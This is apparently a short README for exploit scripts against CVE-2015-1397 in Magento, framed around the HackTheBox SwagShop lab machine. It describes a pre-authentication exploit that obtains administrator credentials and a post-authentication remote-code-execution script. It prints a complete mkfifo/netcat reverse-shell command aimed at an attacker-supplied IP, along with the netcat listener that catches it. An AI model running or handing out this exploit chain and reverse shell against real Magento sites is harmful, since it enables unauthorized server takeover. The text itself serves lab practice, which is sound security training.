
Exploit scripts for CVE-2015-1397 in Magento CMS, including a pre-auth exploit to gain admin credentials and a post-auth RCE module for reverse shell execution.
Vulnerability as seen in HackTheBox - SwagShop
Gain administrator credentials to Magento CMS dashboard
With credentials gained from exploit.py added to post_auth.py run:
python3 post_auth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"
Listener:
nc -lvnp 4444